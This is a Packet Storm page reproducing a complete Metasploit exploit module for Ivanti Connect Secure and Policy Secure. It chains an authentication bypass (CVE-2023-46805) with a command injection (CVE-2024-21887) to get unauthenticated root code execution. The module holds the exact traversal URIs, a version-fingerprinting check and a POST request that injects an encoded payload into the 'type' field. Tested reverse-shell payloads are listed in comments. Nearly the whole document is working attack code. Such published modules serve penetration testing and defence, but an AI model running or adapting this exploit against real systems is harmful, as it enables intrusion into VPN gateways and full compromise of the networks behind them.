Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:176668
HistoryJan 22, 2024 - 12:00 a.m.

Ivanti Connect Secure Unauthenticated Remote Code Execution

2024-01-2200:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
212
ivanti
connect secure
unauthenticated
remote code execution
authentication bypass
command injection
cve-2023-46805
cve-2024-21887
vendor mitigation
versions
root privilege
linux
unix

AI Score

7.4

Confidence

Low

EPSS

0.969

Percentile

99.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection  
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti  
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and  
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are  
also vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2023-46805'], # The auth bypass vulnerability.  
['CVE', '2024-21887'], # The command injection vulnerability.  
['URL', 'https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis'],  
['URL', 'https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/']  
],  
'DisclosureDate' => '2024-01-10',  
'Platform' => %w[linux unix],  
'Arch' => [ARCH_CMD],  
'Privileged' => true, # Code execution as root.  
'Targets' => [  
[  
# Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:  
# cmd/linux/http/x64/meterpreter/reverse_tcp  
# cmd/linux/http/x64/shell/reverse_tcp  
# cmd/linux/http/x86/shell/reverse_tcp  
'Linux Command',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_CMD]  
},  
],  
[  
# Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:  
# cmd/unix/python/meterpreter/reverse_tcp  
# cmd/unix/reverse_bash  
# cmd/unix/reverse_python  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => [ARCH_CMD]  
},  
]  
],  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
end  
  
def check  
# We leverage the auth bypass to request the authenticated endpoint /api/v1/system/system-information and retrieve  
# the target system version information. If this requests succeeds, the target is vulnerable.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/api/v1/totp/user-backup-code/../../system/system-information'  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# If the vendor mitigation has been applied, the request will return 403 Forbidden.  
return CheckCode::Safe if res.code != 200  
  
# By here we know the target is vulnerable, we can pull out the exact version information from the expected JSON  
# response, this is only for display purposes, we don't need to test the version information.  
  
json_data = res.get_json_document  
  
name = json_data.dig('software-inventory', 'software', 'name')  
  
version = json_data.dig('software-inventory', 'software', 'version')  
  
build = json_data.dig('software-inventory', 'software', 'build')  
  
# Return CheckCode::Unknown if we got a JSON response but it didn't contain the expected keys, or if  
# get_json_document could not parse the JSON (and will return an empty Hash).  
return CheckCode::Unknown('No version information in response') if name.nil? || version.nil? || build.nil?  
  
Exploit::CheckCode::Vulnerable("#{name} #{version} (#{build})")  
end  
  
def exploit  
send_request_cgi(  
'method' => 'POST',  
'uri' => '/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection',  
'ctype' => 'application/json',  
'data' => {  
'type' => ";#{payload.encoded} #",  
'txtGCPProject' => Rex::Text.rand_text_alpha(8),  
'txtGCPSecret' => Rex::Text.rand_text_alpha(8),  
'txtGCPPath' => Rex::Text.rand_text_alpha(8),  
'txtGCPBucket' => Rex::Text.rand_text_alpha(8)  
}.to_json  
)  
end  
end  
`